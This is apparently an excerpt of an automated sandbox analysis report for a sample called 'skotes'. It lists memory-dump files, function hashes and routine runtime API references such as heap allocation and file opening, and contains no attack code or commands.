Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 697882259d10a90f49a7a9d1110ad4e9758bfecf8a830db476c115b0a9234f93
Instruction ID: d4448dfe20a39f51c41144a8ffdf67b63453037522f9c2f57c4f227def10aa7d
Opcode Fuzzy Hash: 697882259d10a90f49a7a9d1110ad4e9758bfecf8a830db476c115b0a9234f93
Instruction Fuzzy Hash: B711FE7294810DABDB10DE95CD81EDFB7FCAF09310F6152A6E511F2180EB30EA49CBA1

Function 00BAAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00BAAC8D

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: cd302660003b4e402f70530d31cf85abd530eac42e961d6a22204fd1b7b06a2d
Instruction ID: de941eb5f860198dc53200f08801e0f1cfe94a329f33a647e41528115296b6ec
Opcode Fuzzy Hash: cd302660003b4e402f70530d31cf85abd530eac42e961d6a22204fd1b7b06a2d
Instruction Fuzzy Hash: 79111575A0420AAFCB05DF58E94199A7BF4EF49314F0440A9F809AB251EB70EE25CB65

Function 00BAD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BAA813,00000001,00000364,00000006,000000FF,?,00B8D3FC,EB1D7F10,?,00B87A8B,?), ref: 00BAD871

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7fd32bfbfa00ce3ab89f94fbbe3cff8ffbf82b5e19a1282ce49b7629230ffe0d
Instruction ID: e970bf32d98f232dafea7469c56d6524ceb09d404033ea1a652fdae6a907c275
Opcode Fuzzy Hash: 7fd32bfbfa00ce3ab89f94fbbe3cff8ffbf82b5e19a1282ce49b7629230ffe0d
Instruction Fuzzy Hash: F3F02E3164D12466DB213B729C01A5B77D9DF47370B1480E1EC0697981DF38DC0081E0

Function 00BAB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,EB1D7F10,?,?,00B8D3FC,EB1D7F10,?,00B87A8B,?,?,?,?,?,?,00B77465,?), ref: 00BAB07E

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 786dce069b2f86b78657429bfb7f2f535904bfc917bf5492797de485f5dcf20f
Instruction ID: c28c7953867eee1dfda160d2d36ef14195fcc6870c26a3d57c238ec506477bbb
Opcode Fuzzy Hash: 786dce069b2f86b78657429bfb7f2f535904bfc917bf5492797de485f5dcf20f
Instruction Fuzzy Hash: C7E06D3514D62696EA3132B58C41F6FB6C8DF433A0F1512A1AD7496192EF60DC4081E0

Function 00BB1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00BB1B65,?,?,00000000,?,00BB1B65,00000000,0000000C), ref: 00BB1792

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fb0e43f2774a145b5860006f5c8166649e5f08146680888f6b9fafcb4f5e4154
Instruction ID: 5780eb9ea9ed5fc8f9d5b9552e884ef2987cd88ac28f2c679a57323df0a04f5f
Opcode Fuzzy Hash: fb0e43f2774a145b5860006f5c8166649e5f08146680888f6b9fafcb4f5e4154
Instruction Fuzzy Hash: 44D09E3204010DBBDF119E84DC01EDA3BAAFB48714F014100BE1896120C772F8319B55

Function 048E028F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3003188615.00000000048E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_48e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6febbe8849472116865b439e623d338b67baef7c51f20fd298e66abab19f6733
Instruction ID: 948d69c74768e187d52c47d652ab0d1b4f68233f5011685044f3febb7b01babf
Opcode Fuzzy Hash: 6febbe8849472116865b439e623d338b67baef7c51f20fd298e66abab19f6733
Instruction Fuzzy Hash: 14E08C6B98C2246CA04391D637086BEA3ACA8E32353708D37F442C1003BAC8921D6038

Non-executed Functions

Function 00B90E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90F62

Part of subcall function 00B9265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00B92750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00B90FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B90FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B9103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00B9106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00B910C1

Strings

(, xrefs: 00B90F22

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
